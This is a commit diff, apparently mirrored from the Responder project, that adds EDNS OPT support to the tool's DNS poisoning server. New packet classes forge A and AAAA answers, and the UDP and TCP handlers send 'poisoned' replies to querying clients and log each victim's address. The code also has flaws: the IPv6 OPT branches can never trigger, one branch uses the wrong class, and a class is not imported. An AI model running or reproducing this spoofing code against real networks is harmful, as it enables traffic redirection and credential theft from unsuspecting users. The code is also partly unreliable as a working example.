mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-20 21:33:31 -07:00
added support for OPT EDNS
This commit is contained in:
parent
0b56d6aaeb
commit
5cf69228cf
2 changed files with 103 additions and 6 deletions
67
packets.py
67
packets.py
|
@ -90,6 +90,40 @@ class DNS_Ans(Packet):
|
||||||
self.fields["IP"] = RespondWithIPAton()
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
# DNS Answer Packet OPT
|
||||||
|
class DNS_AnsOPT(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x85\x10"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x01"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x01"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerPointer", "\xc0\x0c"),
|
||||||
|
("Type1", "\x00\x01"),
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
("OPTName", "\x00"),
|
||||||
|
("OPTType", "\x00\x29"),
|
||||||
|
("OPTUDPSize", "\x10\x00"),
|
||||||
|
("OPTRCode", "\x00"),
|
||||||
|
("OPTEDNSVersion", "\x00"),
|
||||||
|
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
|
||||||
|
("OPTStr", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,data):
|
||||||
|
self.fields["Tid"] = data[0:2]
|
||||||
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
class DNS6_Ans(Packet):
|
class DNS6_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Tid", ""),
|
("Tid", ""),
|
||||||
|
@ -116,6 +150,39 @@ class DNS6_Ans(Packet):
|
||||||
self.fields["IP"] = RespondWithIPPton()
|
self.fields["IP"] = RespondWithIPPton()
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
class DNS6_AnsOPT(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x85\x10"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x01"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x1c"),
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerPointer", "\xc0\x0c"),
|
||||||
|
("Type1", "\x00\x1c"),
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
("OPTName", "\x00"),
|
||||||
|
("OPTType", "\x00\x29"),
|
||||||
|
("OPTUDPSize", "\x10\x00"),
|
||||||
|
("OPTRCode", "\x00"),
|
||||||
|
("OPTEDNSVersion", "\x00"),
|
||||||
|
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
|
||||||
|
("OPTStr", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,data):
|
||||||
|
self.fields["Tid"] = data[0:2]
|
||||||
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
|
self.fields["IP"] = RespondWithIPPton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
class DNS_SRV_Ans(Packet):
|
class DNS_SRV_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Tid", ""),
|
("Tid", ""),
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from utils import *
|
from utils import *
|
||||||
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans
|
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
|
||||||
if settings.Config.PY2OR3 == "PY3":
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
from socketserver import BaseRequestHandler
|
from socketserver import BaseRequestHandler
|
||||||
else:
|
else:
|
||||||
|
@ -23,12 +23,15 @@ else:
|
||||||
|
|
||||||
def ParseDNSType(data):
|
def ParseDNSType(data):
|
||||||
QueryTypeClass = data[len(data)-4:]
|
QueryTypeClass = data[len(data)-4:]
|
||||||
|
OPT = data[len(data)-22:len(data)-20]
|
||||||
|
if OPT == "\x00\x29":
|
||||||
|
return "OPTIPv4"
|
||||||
# If Type A, Class IN, then answer.
|
# If Type A, Class IN, then answer.
|
||||||
if QueryTypeClass == "\x00\x01\x00\x01":
|
elif QueryTypeClass == "\x00\x01\x00\x01":
|
||||||
return "A"
|
return "A"
|
||||||
if QueryTypeClass == "\x00\x21\x00\x01":
|
elif QueryTypeClass == "\x00\x21\x00\x01":
|
||||||
return "SRV"
|
return "SRV"
|
||||||
if QueryTypeClass == "\x00\x1c\x00\x01":
|
elif QueryTypeClass == "\x00\x1c\x00\x01":
|
||||||
return "IPv6"
|
return "IPv6"
|
||||||
|
|
||||||
|
|
||||||
|
@ -48,6 +51,13 @@ class DNS(BaseRequestHandler):
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||||
|
buff = DNS_AnsOPT()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
@ -62,8 +72,15 @@ class DNS(BaseRequestHandler):
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
||||||
|
buff = DNS6_Ans()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# DNS Server TCP Class
|
# DNS Server TCP Class
|
||||||
|
@ -82,6 +99,13 @@ class DNSTCP(BaseRequestHandler):
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||||
|
buff = DNS_AnsOPT()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
@ -96,6 +120,12 @@ class DNSTCP(BaseRequestHandler):
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
||||||
|
buff = DNS6_AnsOPT()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue